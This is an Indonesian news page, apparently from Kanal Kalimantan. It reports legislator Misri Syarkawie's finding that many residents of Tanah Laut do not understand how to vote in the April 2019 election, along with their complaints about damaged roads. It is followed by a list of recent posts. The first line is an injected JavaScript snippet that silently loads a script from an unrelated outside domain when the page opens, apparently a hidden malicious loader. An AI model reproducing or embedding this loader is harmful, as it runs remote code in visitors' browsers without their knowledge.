(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Misri Syarkawie: Masih Banyak Warga Tidak Paham Tata Cara Mencoblos


BANJARMASIN, Masih banyaknya masyarakat yang belum memahami tata cara mencoblos pada 17 April 2019 mendatang didapati oleh Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kalsel Drs Misri Syarkawie saat melakukan reses di Kabupaten Tanah Laut.

Untuk itulah ia pun berharap Komisi Pemilihan Umum (KPU) setempat bisa lebih giat melakukan sosialisasi ke masyarakat tentang tata cara pencoblosan yang benar, guna mengurangi persentase salah coblos maupun golput di Kabupaten Tanah Laut.

“Dalam dua kali reses yang kita lakukan hari ini, yakni Sungai Rasau Kecamatan Bumi Makmur dan Padang Luas Kecamatan Kurau, cukup banyak masyarakat yang bertanya tata cara pencoblosan. Itu artinya dapat disimpulkan masyarakat banyak yang belum mengerti dan harus segera disosialisasikan,” tegasnya, Minggu (24/2).

Misri pun dalam kesempatan ini berharap semua pihak bisa terlibat aktif untuk mensosialisasikan terkait tata cara pencoblosan, utamanya para Calon Anggota Legislatif yang ikut berlaga pada Pemilu Legislatif dan Presiden di Tahun 2019 ini.

“KPU tentu tidak bisa sendiri, Caleg harus ikut bahu membahu dalam mensosialisasikannya juga. Hal ini penting mengingat tidak mengertinya masyarakat dalam pencoblosan akan sangat mempengaruhi besarnya golput,” tambah Politisi Senior Partai Golkar Kalsel tersebut.

Selain persoalan tata cara pencoblosan, persoalan banyaknya infrastruktur jalan yang rusak juga tidak lepas dari keluhan warga. Misri pun mengaku akan coba mengkordinasikan masalah ini dengan Anggota DPRD Fraksi Partai Golkar di Kabupaten Tanah Laut yang duduk di komisi yang membidangi masalah pembangunan.

“Nanti akan kita tanyakan terkait progres perbaikan jalan yang ada di Sungai Rasau. Memang sudah ada pengerasan jalan namun sampai saat ini belum ada pengaspalan,” ungkapnya.

Sementara itu, Muhammad, salah satu warga Desa Sungai Rasau mengaku banyak warga disekitar rumahnya yang belum mengerti betul terkait tata cara pencoblosan pada Pemilu Legislatif dan Presiden di Tahun 2019.

“Khususnya ibu-ibu dan anak muda, mereka banyak yang belum paham. Padahal di desa ini pemilihnya cukup banyak, bahkan untuk tahun ini disediakan sebanyak 7 Tempat Pemungutan Suara (TPS) di Desa Sungai Rasau,” pungkasnya.(arief)

Reporter : Arief
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.